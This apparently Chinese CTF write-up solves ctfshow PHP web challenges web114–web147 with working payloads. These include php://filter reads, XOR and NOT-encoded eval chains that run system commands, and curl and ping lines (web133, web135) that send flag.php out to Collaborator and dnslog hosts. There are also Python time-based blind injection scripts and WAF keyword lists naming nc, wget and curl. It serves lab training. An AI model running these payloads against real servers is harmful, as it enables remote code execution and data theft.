/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

或者zip协议流访问(个人访问是失败的,因为是校园网……)

?file=compress.zlib://flag.php

web114

原始信息

error_reporting(0);
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
} 师傅们居然tql都是非预期 哼!

解题

限制明显加强,不过放过了filter。

?file=php://filter/resource=flag.php

web115

原始信息

include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
# 过滤十六进制,八进制,浮点数,科学计数法,加法
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];

# 是否为数字 不是36 取出字符串两边空白符 上面的进制过滤
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
} 黑客!!!

解题

如果顺着题意的话:

# 是其它进制36,拿到flag

但关键的进制几乎被全部禁用了……

is_numeric()
# 判断字符串是否为数字
# 绕过方法:
#?num=%0936
#?num=%2036(加个空格) => 同时绕过了$num!=='36'(三个字符与两个字符的差距《不可见字符也是字符》)
trim($num)!=='36'
# 过滤了空白字符
# 考虑使用%0c代替空格(%0c没有被trim过滤)
# %0c36强制转化为数值的话就是36
$num!=='36' and $num=='36'
# 第一个会把%0c36当做字符串和'36'进行比较
# 第二个会把%0c36当做数值36和'36'进行比较

# 思路:一个个函数进行尝试
# 尝试的空字符是ascii码内的非明文字符
# %0c==\f ascii换页符

一个奇怪的情况:等于%0c36时既不等于又等于

payload:
GET:?num=%0c36
# 居然满足了这个条件:$num!=='36' and $num=='36'

收获

$num!=='36' and $num=='36';
$num='%0c36';

web123

原始信息

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
# 获取脚本文件名
$a=$_SERVER['argv'];
$c=$_POST['fun'];
#必须有CTF_SHOW和CTF_SHOW.COM,不能有fl0g
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}

解题

#只转换一次:
xx[xxx.com => 仅仅转换[为_而已;
# 第一层传参绕过;
POST:CTF[SHOW=1&CTF[SHOW.COM=2
# 第二层:正则表达式,没限制$_也没限制();还有空格
# 故:传参的时候直接读取$flag
POST:CTF[SHOW=1&CTF[SHOW.COM=2&fun=echo $flag

web125

原始信息

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
# $c<16不是strlen($c)<16,各位大师兄千万千万看清楚了
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}

解题

感谢大佬指路,让我这个菜鸡学会了这么在php文档当中找flag,哈哈哈……

# 限制明显增多,几乎封死了所有的变量获取途径
# 但是依旧没有限制关键字符,即便是关键字被封禁了。。。
# 这里限制了常见的输出函数,我们换个方式输出:

payload:

# 先测测当前目录有没有变动:
POST:fun=die(implode(scandir(__DIR__)))&CTF[SHOW=1&CTF[SHOW.COM=2
return: ...flag.phpindex.php
# 相信能简单看出这个结构咋样的,高亮flag文件就能展出flag啦
POST:fun=die(highlight_file((scandir(__DIR__))[2]))&CTF[SHOW=1&CTF[SHOW.COM=2
return:
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-07 19:40:53
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 19:41:00
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


$flag="ctfshow{b00d1811-bf0c-4da0-b430-a045ff428bea}";

官方payload:

GET:?1=flag.php 
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])

收获

使用官方文档对各个函数的解读,以及自己的本地测试,能更快找到自己想要的东西或者漏洞!

web126

原始信息

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}

解题

#限制住了关键字符,导致无法使用上一题的WP
#限制$c的传入长度
#思路:
#1.直接获取文件信息并高亮(X)
#2.直接获取变量值(X)
#3.覆盖变量值,让它自动输出flag(√)
#具体怎么绕并且覆盖?

GET: ?a=1000+fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

#读取的原理:
a=1000+fl0g=flag_give_me
# 这个进行的是一个类似于cli的脚本调用
# +代表空格,脚本的读取是按照空格进行分割的
# 用列表的角度理解就相当于传入了:[1000,fl0g=flag_give_me]
parse_str($a[1])
# 这个使用的是$_SERVER['argv'];
# 脚本的文件名总是作为参数传递给当前脚本
# 这里是通过$a进行选择
# 选择1的时候就选到了fl0g=flag_give_me
# parse_str:将字符串解析成多个变量
#此时就相当于执行了:
fl0g='flag_give_me'
#于是绕过了
fl0g==="flag_give_me

web127

原始信息

error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
# 截取url的"?"后面的字符串
$url = $_SERVER['QUERY_STRING'];


//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}

if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}


if($ctf_show==='ilove36d'){
echo $flag;
}

解题

首先看看没封禁的ascii有哪些:

[空格],%,&,=,?,|
0,1,2,3,4,5,6,7,8,9
A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z
a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z

waf唯独能包含上面的字符,超出则直接截断。

extract($_GET);# 将数组变成变量和值的关系
$ctf_show==='ilove36d';#获取flag的条件
#这个题目也是想要进行变量覆盖,直接调用extract覆盖即可
GET:?ctf show=ilove36d //[空格] 是会转换为 "_" 的

web128

原始信息

error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}



function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}

解题

没过滤的ascii:

[' ', '!', '"', '#', '$', '%', '&', "'", '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '@', '[', '\\', ']', '^', '_', '`', '{', '|', '}', '~']

这是个无参调用

小知识点: _()是一个函数
_()==gettext() 是gettext()的拓展函数,开启text扩展(gettext)。
需要php扩展目录下有php_gettext.dll
get_defined_vars()函数
get_defined_vars — 返回由所有已定义变量所组成的数组 这样可以获得 $flag
payload: ?f1=_&f2=get_defined_vars

web129

原始信息

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}

解题

目录穿越漏洞

?f=../ctfshow/../../../../../../../var/www/html/flag.php
# 解析到根目录路径,再找到flag目录即可

web130

原始信息

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];

if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}

解题

f=ctfshow

web131

原始信息

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = (String)$_POST['f'];

if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}

解题

懂了,出题人喜欢36D(doge)

使用下面这个生成字符,并且放到post进行溢出攻击即可。

这是正则表达式溢出攻击。

echo str_repeat('very', '250000').'36Dctfshow';

具体参照:https://www.laruence.com/2010/06/08/1579.html

web132

原始信息

网站是一个模板博客网站,使用扫站扫出了一些东西:

/robots.txt
内容:
Disallow: /admin

前往/admin得到:

#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];

if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){

if($code == 'admin'){
echo $flag;
}

}
}

解题

此处引用某大佬博客

https://www.cnblogs.com/hurry-up/p/10220082.html

对于“与”(**&&) 运算: x && yxfalse时,直接跳过,不执行y
对于“或”(
||) 运算 : x||yxtrue时,直接跳过,不执行y**。

if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin");
# 当code为false时,会直接跳转到末尾的username判断该语句是否为true
# 构造就便利了:
?code=admin&password=1&username=admin

web133

原始信息

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}

解题

带外访问

  1. 在burp当作左上角 “BURP” =>“Burp Collaborator客户端”
  2. 在这客户端内:协助者有效负载生成 =>复制到剪贴板
  3. url在浏览器进行如下访问:
?F=`$F`;+curl -X POST -F xx=@flag.php http://uljnf26qzf4lmzmqgxfzhfeleck28r.burpcollaborator.net
uljnf26qzf4lmzmqgxfzhfeleck28r.burpcollaborator.net => 刚刚从剪贴板获取到的东西
  1. 访问后,再在那个客户端点击:“现在轮询”,找到http包找回显即可得到flag

关于命令的解释

eval(substr($F,0,6));
传入`$F`;+curl -X...;
相当于:
``$F`;+curl -X`
个人理解:
`$F`;+ =>刚刚好6字符,后面都以``的形式执行。
``==shell_exec();


# payload
#其中-F 为带文件的形式发送post请求
#xx是上传文件的name值,flag.php就是上传的文件
?F=`$F`;+curl -X POST -F xx=@flag.php http://uljnf26qzf4lmzmqgxfzhfeleck28r.burpcollaborator.net

参照博客:
https://blog.csdn.net/qq_46091464/article/details/109095382
https://www.cnblogs.com/meng-han/p/16809053.html

web134

原始信息

highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
# 获取get参数并且解析为变量
@parse_str($_SERVER['QUERY_STRING']);
# 将POST数组解析为变量
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}

解题

覆盖POST数组

GET: ?_POST[key1]=36d&_POST[key2]=36d
# 转换的方式:
# _POST[key1]=36d&_POST[key2]=36d --parse_str-->
# $_POST[key1=>36d,key2=>36d] --extract-->
# $key1=36d;$key2=36d;

web135

原始信息

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}else{
die("师傅们居然破解了前面的,那就来一个加强版吧");
}
}

解题

其它什么的先不说,先看官方给的WP:

`$F`;+ping `cat flag.php|awk 'NR==2'`.6x1sys.dnslog.cn
#通过ping命令去带出数据,然后awk NR一排一排的获得数据

让后……

在DNSLOG以及相关的网站死活带外不出去……

别提有多裂开了。

看了下解题的视频,有个比较灵活的大佬说可以修改文件或者复制文件读取,于是乎试验了下,踩了踩坑,才发现这个卡了我差不多几小时的题目是这么个玩法……

# 前面保持不变,改变后面shell的地方:
GET:?F=`$F`;+`cp flag.php flag.txt`
# 然后访问那个被你copy的flag.txt即可
# 记住,有txt的一定是明文,可以直接读取的。

# 不过既然都有cp操作了,那nl直接导入不就行了?
# 显然,这个题目的操作不止带外一种

这个是做视频的前辈写的shell:

GET:?F=`$F`;+ping `nl flag.php|awk 'NR==16'|tr -cd "[a-z]"/"[0-9]"`.ske28a.dnslog.cn -c 1

web136

原始信息

 <?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>

解题

这个一个带waf的Linux shell,需要传入Linux命令读取其中的内容再返还到某个文件下载即可

因为限制了很多符号和执行函数,其中也包括了点,导致无法写成类似于.txt的形式进行在线访问。

最终只能无后缀下载。

# tee是Linux的一个输出处理命令

GET: ?c=ls /|tee f
下载后打开文件:
bin
dev
etc
f149_15_h3r3
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

GET: ?c=cat /f149_15_h3r3|tee f
下载后打开文件:
ctfshow{a8cfeb83-46f9-4d7c-877d-64a8bad084e4}
# ?c=cat /f149_15_h3r3|tee f
# 可以变式为:
# ?c=nl /f149_15_h3r3|tee f

web137

原始信息

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-16 22:27:49

*/

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}



call_user_func($_POST['ctfshow']);

解题

单纯的函数调用,且是未新建类的函数的调用:

POST: ctfshow=ctfshow::getFlag

web138

原始信息

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}

if(strripos($_POST['ctfshow'], ":")>-1){
die("private function");
}

call_user_func($_POST['ctfshow']);

解题

POST:ctfshow[0]=ctfshow&ctfshow[1]=getFlag

web139

原始信息

 <?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>

解题

看似完全一样,实际上却是限制了更多的命令。也就是说,上次的payload完全不能使用了。

此处要借用bash命令的执行进行时间盲注。

时间盲注很吃网络,网络不好说不定就直接寄了。

爆破目录

# coding=utf-8
import requests
import time

url = "http://def032ca-7f20-4828-ae43-a5787b0f2394.challenge.ctf.show/?c="
# 对应行号,列号,单个字符的匹配
payload = "if [ `ls / | awk 'NR=={0}'|cut -c {1}` == '{2}' ];then sleep 6;fi"
result = "Server Dir: "
row = 6
length = 50
string = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '_', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '.', '-']
for r in range(1,row+1):
r_flag = result[:]
for c in range(1,length+1):
flag = result[:]
for s in string:
time.sleep(0.5)
target = url+payload.format(r,c,s)
print("\r",end='')
print(payload.format(r,c,s))
try:
requests.get(target,timeout=4)
except:
result+=s
print(result)
break
if len(result) == len(flag):
# print(result)
break
if r_flag == result:
break
result += ' '

print(result)

爆破flag文件

# coding=utf-8
import requests
import time
import binascii

url = "http://71c7bd3e-2694-4723-8fe9-a648ef033a8d.challenge.ctf.show/?c="

# 对应行号,列号,单个字符的匹配
payload = "if [ `cat /f149_15_h3r3 | awk 'NR=={0}'|cut -c {1}` == '{2}' ];then sleep 6;fi"
string = "ctfshow-0123456789_abdegijklmnpqruvxyz"

result = "Server value: "
row = 6
length = 100
status = 1

for r in range(1,row+1):
r_flag = result[:]
for c in range(8,length+1):
flag = result[:]
for s in string:
time.sleep(0.5)
p = payload.format(r,c,s)
target = url+p
print(p,'\t',s)
try:
requests.get(target,timeout=4)
except:
result+=s
print(result)
break
if len(result) == len(flag):
result += ' '
# break

if r_flag == result:
break
if status == 1:
break
result += ' '

print(result)

就是耗时有点长……

因为是依赖网络的,所以说,如果出现误差了就多跑几次吧。反正数值也不超100字符。

web140

原始信息

error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
$f1 = (String)$_POST['f1'];
$f2 = (String)$_POST['f2'];

# 两种正则表达式过滤,只允许小写字母数字
if(preg_match('/^[a-z0-9]+$/', $f1)){
if(preg_match('/^[a-z0-9]+$/', $f2)){
# eval调用回显
$code = eval("return $f1($f2());");
# 如果是字符则立刻通过判断
if(intval($code) == 'ctfshow'){
echo file_get_contents("flag.php");
}
}
}
}

解题

思路大概清晰了,字符回显或者无回显,传入小写或者数字的字符串。

参数可控。

# 获取phpinfo
POST: f1=system&f2=phpinfo

# payload
POST: f1=usleep&f2=usleep
POST: f1=system&f2=system
POST: f1=printf&f2=printf
POST: f1=usleep&f2=usleep
POST: f1=assert&f2=assert

web141

原始信息

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];

if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

解题

自己做的

解题的方法:
1.利用eval进行命令执行。
2.利用反URL取反绕过正则表达式对字母数字下划线的限制,实现任意命令执行:
原理:
设置好的字符 =浏览器自动URL编码=> [云] =浏览器自动URL解码=> 服务器接收
如果是已经URL编码 =直接传递信息=>
服务器放出信息 =浏览器自动URL编码=> [云] =浏览器自动URL解码=> 客户端收


PHP执行:
echo(urlencode(~'var_dump')); => %89%9E%8D%A0%9B%8A%92%8F
echo(urlencode(~'system')); => %8C%86%8C%8B%9A%92
echo(urlencode(~'ls')); => %93%8C
echo(urlencode(~'cat flag.php')); => %9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F


GET:?v1=10&v2=0&v3=-(~%89%9E%8D%A0%9B%8A%92%8F)((~%8C%86%8C%8B%9A%92)(~%93%8C));
=相当于=> -(var_dump(system('ls')));
return:
flag.php
index.php


GET:?v1=10&v2=0&v3=-(~%89%9E%8D%A0%9B%8A%92%8F)((~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F));
=相当于=> -(var_dump(system('cat flag.php')));
return:
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-21 21:31:23
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-16 22:41:40
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


$flag="ctfshow{14125187-c0ec-4296-b3ea-fd0266036b9d}";

官方视频分析+自己分析的

# 题目$v3正则表达式当前限制为禁止输入字母数字下划线
# ---------------------------------- #
原理:
phpinfo(); ==> 可以执行
1+phpinfo()+1;==> 也可执行
1+('phpinfo')()+1;==> 依然可执行
异或:XOR,^
# 异或的意思,就是相同就变化,不同就不变。下面的就是例子
# 这里的利用点:ascii码转16进制字符串(这个我是真没想到),再与超出ascii的十六进制值进行比较,得出异或值
# 只要使用ascii跟 %fa 异或,再用异或得到的值在传参是异或回来即可得到相应的页面值
# phpinfo => (%8A%92%8A%93%94%9C%95^%fa%fa%fa%fa%fa%fa%fa)


#构造:
#=>p
# 二进制数 十六进制数
1111 1010 %fa # 用来异或的超出ascii的字符
1000 1010 %8a # 上面和下面异或出来能得到中间这层
-------------
0111 0000 %70 # p

#=>h
1111 1010 %fa
1001 0010 %92
------------
0110 1000 %68

# 将信将疑的实验了下效果:
$ php -r "echo urldecode('%fa%fa')^urldecode('%8a%92');"
ph
# 真的做到了!!!

利用php脚本,跑出的能显示的ascii码二进制在8bit当中也全是首位0
当首位大于1时,必定是大于ascii码的。
# 跑出来的结果在这个题解最下面那儿
# 能跑出两个,就代表能跑出全部的phpinfo!而且不依赖 "~" (取反字符)

php脚本:

<?php
while (true) {
echo "Please give me the key string: ";
$a = rtrim(fgets(STDIN), "\r\n");
echo 'value: (';
for ($i = 0; $i < strlen($a); $i++) {
echo urlencode(urldecode('%fa') ^ urldecode('%' . bin2hex($a[$i])));
}
echo '^';
for ($i = 0; $i < strlen($a); $i++) {
echo '%fa';
}
echo ')' . PHP_EOL;
}

php脚本跑出的关键函数名以及命令:

Please give me the key string: phpinfo
value: (%8A%92%8A%93%94%9C%95^%fa%fa%fa%fa%fa%fa%fa)
Please give me the key string: system
value: (%89%83%89%8E%9F%97^%fa%fa%fa%fa%fa%fa)
Please give me the key string: ls
value: (%96%89^%fa%fa)
Please give me the key string: cat flag.php
value: (%99%9B%8E%DA%9C%96%9B%9D%D4%8A%92%8A^%fa%fa%fa%fa%fa%fa%fa%fa%fa%fa%fa%fa)

payload:

# phpinfo()
GET: ?v1=1&v2=2&v3=*(%8A%92%8A%93%94%9C%95^%fa%fa%fa%fa%fa%fa%fa)()*
return: 正常回显phpinfo

# system(ls)
GET: ?v1=1&v2=2&v3=*(%89%83%89%8E%9F%97^%fa%fa%fa%fa%fa%fa)(%96%89^%fa%fa)*
return: 正常回显phpinfo

# system(cat flag.php)
GET: ?v1=1&v2=2&v3=*(%89%83%89%8E%9F%97^%fa%fa%fa%fa%fa%fa)(%99%9B%8E%DA%9C%96%9B%9D%D4%8A%92%8A^%fa%fa%fa%fa%fa%fa%fa%fa%fa%fa%fa%fa)*
return: 正常回显flag,不过还是藏在源码当中。

题外小解:跑出来的可以明文的ascii所对应的二进制值

00100000                20
00100001 ! 21
00100010 " 22
00100011 # 23
00100100 $ 24
00100101 % 25
00100110 & 26
00100111 ' 27
00101000 ( 28
00101001 ) 29
00101010 * 2a
00101011 + 2b
00101100 , 2c
00101101 - 2d
00101110 . 2e
00101111 / 2f
00110000 0 30
00110001 1 31
00110010 2 32
00110011 3 33
00110100 4 34
00110101 5 35
00110110 6 36
00110111 7 37
00111000 8 38
00111001 9 39
00111010 : 3a
00111011 ; 3b
00111100 < 3c
00111101 = 3d
00111110 > 3e
00111111 ? 3f
01000000 @ 40
01000001 A 41
01000010 B 42
01000011 C 43
01000100 D 44
01000101 E 45
01000110 F 46
01000111 G 47
01001000 H 48
01001001 I 49
01001010 J 4a
01001011 K 4b
01001100 L 4c
01001101 M 4d
01001110 N 4e
01001111 O 4f
01010000 P 50
01010001 Q 51
01010010 R 52
01010011 S 53
01010100 T 54
01010101 U 55
01010110 V 56
01010111 W 57
01011000 X 58
01011001 Y 59
01011010 Z 5a
01011011 [ 5b
01011100 \ 5c
01011101 ] 5d
01011110 ^ 5e
01011111 _ 5f
01100000 ` 60
01100001 a 61
01100010 b 62
01100011 c 63
01100100 d 64
01100101 e 65
01100110 f 66
01100111 g 67
01101000 h 68
01101001 i 69
01101010 j 6a
01101011 k 6b
01101100 l 6c
01101101 m 6d
01101110 n 6e
01101111 o 6f
01110000 p 70
01110001 q 71
01110010 r 72
01110011 s 73
01110100 t 74
01110101 u 75
01110110 v 76
01110111 w 77
01111000 x 78
01111001 y 79
01111010 z 7a
01111011 { 7b
01111100 | 7c
01111101 } 7d
01111110 ~ 7e

web142

原始信息

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
$v1 = (String)$_GET['v1'];
if(is_numeric($v1)){
$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
sleep($d);
echo file_get_contents("flag.php");
}
}

解题

看起来,只需要传入一个数字即可解决问题

?v1=-1

在网页源代码当作查看flag即可。

web143

原始信息

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

解题

没被过滤的ASCII如下:

[空格] ! " # ' ( ) * , / : < = > ? @ [ \ ] ^ ` 

使用异或绕过即可

具体参照web141

# system(cat flag.php)
GET: ?v1=1&v2=2&v3=*(%89%83%89%8E%9F%97^%fa%fa%fa%fa%fa%fa)(%99%9B%8E%DA%9C%96%9B%9D%D4%8A%92%8A^%fa%fa%fa%fa%fa%fa%fa%fa%fa%fa%fa%fa)*
return: 正常回显flag,不过还是藏在源码当中。

web144

原始信息

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];

if(is_numeric($v1) && check($v3)){
if(preg_match('/^\W+$/', $v2)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

function check($str){
return strlen($str)===1?true:false;
}

解题

原理和141,143差不多,这里不赘述,上payload:

# system(cat flag.php)
GET: ?v1=1&v3=2&v2=*(%89%83%89%8E%9F%97^%fa%fa%fa%fa%fa%fa)(%99%9B%8E%DA%9C%96%9B%9D%D4%8A%92%8A^%fa%fa%fa%fa%fa%fa%fa%fa%fa%fa%fa%fa)
return: 正常回显flag,不过还是藏在源码当中。

web145

原始信息

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

解题

没过滤的ascii:

' ( ) , : = ? [ \ ] ` { | ~ |

考点:

  • 使用 按位取反运算符 翻转字符串
  • 使用换行绕过php的is_numeric
  • 使用三元表达式 (a?b:c) 绕过无法输入加减乘除符号的限制
payload:
# 相当于:var_dump(system('cat f*'))
?v1=%0a1&v2=%0a0&v3=?(~%89%9E%8D%A0%9B%8A%92%8F)((~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5)):

web146

原始信息

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

解题

没过滤的ascii:

' ( ) , = ? [ \ ] ` { | ~ |

根据上一题,多了个 “:” 的过滤,使用 或运算符绕过,payload几乎不变:

payload:
# 相当于:var_dump(system('cat f*'))
?v1=%0a1&v2=%0a0&v3=|(~%89%9E%8D%A0%9B%8A%92%8F)((~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5))|

web147

原始信息

highlight_file(__FILE__);
if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}
}

解题

使用命名空间解决字母数字的过滤问题,使用匿名函数去调用和执行php代码

命名空间: 命名空间(Namespace)是一种用于组织和管理代码的机制。它通过给不同的代码元素(如类、函数、常量)指定一个唯一的标识符前缀,避免了命名冲突和命名污染。

命名冲突: 当在同一作用域中引入了具有相同名称的多个代码元素(如变量、函数、类等),就会发生命名冲突。

命名污染: 命名污染是指由于引入外部代码或不规范的命名管理导致当前代码作用域中的命名冲突或混乱的现象。

匿名函数: create_function(a,b)创建匿名函数,参数a可以省略,函数b不能省略。

# 匿名函数调用phpinfo
$func = create_function('', 'phpinfo();');
$func();

# 命名空间
namespace MyProject\SubNamespace;

payload:

# 
